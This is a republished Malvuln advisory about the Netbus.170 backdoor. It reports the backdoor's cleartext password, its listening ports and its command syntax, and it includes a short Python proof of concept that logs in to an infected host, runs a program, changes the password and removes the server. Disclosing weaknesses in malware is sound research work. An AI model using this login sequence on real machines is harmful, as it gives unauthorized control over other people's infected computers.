Lucene search
K

📄 Backdoor.Win32.Netbus.170 MVID-2025-0703 Insecure Credential Storage

🗓️ 23 Dec 2025 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 157 Views

Backdoor Netbus stores credentials in a cleartext config file and listens on ports 12631 and 12632.

Code
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2025
    Original source: https://malvuln.com/advisory/086f0693f81f6d40460c215717349a1f.txt
    Malvuln Intelligence Feed: https://intel.malvuln.com/
    Contact: [email protected]
    Media: x.com/malvuln 
    
    Threat: Backdoor.Win32.Netbus.170
    Vulnerability: Insecure Credential Storage
    Family: Netbus
    Type: PE32
    Attack-pattern TTP: Unsecured Credentials (T1552)
    MD5: 086f0693f81f6d40460c215717349a1f
    SHA256: bba330e82434d3bcf41e18d7d15df8117883e761aa50858028833a7da84b271c
    Vuln ID: MVID-2025-0703
    Dropped files: C:\Windows\KeyHook.dll
    Disclosure: 12/23/2025
    Description: The malware listens on TCP ports 12632 and 12631. The backdoor server password "ecoli" is stored in cleartext in an .INI textfile, stored under "C:\Windows" having the same name as the malware. Third party attackers who have knowledge of the password can login and issue various commands separated  by semicolon. Commands include program execution, change the backdoor password and malware removal using command "RemoveServer;1".
    
    [Settings]
    Port1=12631
    ServerPwd=ecoli
    LogTraffic=0
    MailTo=
    MailFrom=
    MailHost=
    
    Exploit/PoC:
    from socket import *
    
    MALWARE_HOST="x.x.x.x"
    PORT=12631
    
    def main():
    
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_HOST, PORT))
    
        PAYLOAD="Password;0;ecoli\r\n" 
        s.send(PAYLOAD.encode())
    
        #Run a program or app:
        s.send("StartApp;calc\r\n".encode()) 
    
        #Change backdoor password
        s.send("ServerPwd;malvuln;\r\n".encode())
        print(chk_res(s))
    
        #Remove backdoor use command ; 1 
        s.send("RemoveServer;1\r\n".encode())
    
        s.close()
    
    if __name__ == "__main__":
        main()
    
    
    Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation